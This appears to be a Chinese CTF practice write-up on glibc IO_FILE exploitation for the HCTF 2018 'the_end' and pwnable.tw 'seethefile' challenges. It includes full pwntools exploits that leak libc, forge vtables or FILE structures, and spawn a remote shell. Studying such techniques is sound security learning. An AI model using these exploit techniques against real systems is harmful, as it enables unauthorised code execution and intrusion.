IO_FILE相关练习

2018 HCTF the_end

程序分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

除了 canary 保护全开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]

sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}
  • 程序会输出sleep函数的地址
  • 向任意地址写五个字节

漏洞利用

思路:

利用的是在程序调用 exit 后,会遍历 IO_list_all ,调用 _IO_2_1_stdout 下的 vatable 中 _setbuf 函数。

可以先修改两个字节在当前 vtable 附近伪造一个 fake_vtable ,然后使用 3 个字节修改 fake_vtable 中 _setbuf 的内容为 one_gadget。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.log_level="debug"

#libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
#p = process('./the_end')
p = remote('39.107.93.53',10001)
elf = ELF('the_end')
libc = elf.libc

sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]

libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0
vtables = libc_base + 0x3C56F8

fake_vtable = libc_base + 0x3c5588
target_addr = libc_base + 0x3c55e0

print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])



for i in range(2):
p.send(p64(vtables+i))
p.send(p64(fake_vtable)[i])
#gdb.attach(p)

for i in range(3):
p.send(p64(target_addr+i))
p.send(p64(one_gadget)[i])

p.sendline("exec /bin/sh 1>&0")

p.interactive()

pwnable.tw-seethefile

程序分析

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

这个程序的作用是对文件进行读写关闭操作

1
2
3
4
5
6
7
printf("Leave your name :");
__isoc99_scanf("%s", &name);
printf("Thank you %s ,see you next time\n", &name);
if ( fp )
fclose(fp);
exit(0);
return;

这里存在漏洞,对name没有限制长度

而name和fp指针都在bss数据段上呢,因此可以改写fp指针

1
2
3
4
5
6
7
8
9
.bss:0804B260                 public name
.bss:0804B260 name db ? ; ; DATA XREF: main+9F↑o
.bss:0804B260 ; main+B4↑o
.bss:0804B280 public fp
.bss:0804B280 ; FILE *fp
.bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r
.bss:0804B280 ; openfile+AD↑w ...
.bss:0804B280 _bss ends
.bss:0804B280

漏洞利用

https://www.jianshu.com/p/a6354fa4dbdf
https://www.jianshu.com/p/0176ebe02354

思路:
1.读取/proc/self/maps泄露地址
2.构造假的_IO_FILE_plus
3.不能直接读取falg,但是目录下面有一个flag程序,可以通过运行这个程序获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
context.log_level = 'debug'
local = False
if local:
p = process('./seethefile')
elf = ELF('./seethefile')
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p = remote('chall.pwnable.tw', 10200)
elf = ELF('./seethefile')
libc = ELF("./libc_32.so.6")
def openfile(name):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('What do you want to see :')
p.sendline(name)
def readfile():
p.recvuntil('Your choice :')
p.sendline('2')
def writefile():
p.recvuntil('Your choice :')
p.sendline('3')
def closefile():
p.recvuntil('Your choice :')
p.sendline('4')
def exit_with_name(name):
p.recvuntil('Your choice :')
p.sendline('5')
p.recvuntil('Leave your name :')
p.sendline(name)
openfile('/proc/self/maps')
readfile()
writefile()
LOG = False
if not LOG:
p.recvline()
p.recvline()
p.recvline()
p.recvline()
else:
log.success(p.recvline())
log.success(p.recvline())
log.success(p.recvline())
log.success(p.recvline())
# reveal libc base through /proc/self/maps
libc_base = int(p.recvline()[:8], 16) + 0x1000
log.success('libc_base: ' + str(hex(libc_base)))
libc.address=libc_base
system_addr = libc.symbols['system']
log.success('system_addr: ' + str(hex(system_addr)))
closefile()
# Forge FILE struct
openfile('/proc/self/maps') # open fd to trigger fclose
fake_file_addr = 0x0804B300 # spare memory
payload = 'a' * 0x20 + p32(fake_file_addr)
payload += '\x00' * (0x0804B300 - 0x0804B280 - 4)
# fake IO file struct (size is 0x94)
# padding header with 0xFFFFDFFF and arg string
# the ||/bin/sh string is same as ;$0
payload += '\xff\xff\xdf\xff;$0\x00'.ljust(0x94, '\x00')
# Forged vtable is designed on 0x0804B300+0x98 (next to the fake IO file)
payload += p32(fake_file_addr + 0x98)
payload += p32(system_addr) * 21
exit_with_name(payload)
p.interactive()
# gdb.attach(p)

直接对大佬的exp进行了分析,对一些知识点进行总结

1.可以用p *_IO_list_all查看结构体
2.由于linux独特的文件形式存储,文件的内存信息存储与/proc/pid/maps中,这里pid使用self来代替,就能获取libc的地址了。
3.libc基址如何计算
4.空内存如何选取
5.如何fake一个IO_FILE结构体
6.要伪造一个合适的FILE结构体使得在fclose的过程中不会触发异常造成程序异常终止。为了避免这种情况,一种最简单的方式就是将FILE结构体的_flags变量的_IO_IS_FILEBUF标志位置0。例如置为0xffffdfff。
7.此处_IO_FILE结构体大小为0x94,
8.vtable虚表包含很多指针,里面一般性是21或者23个变量,我们需要改的是第三个,别的填充些正常的地址就好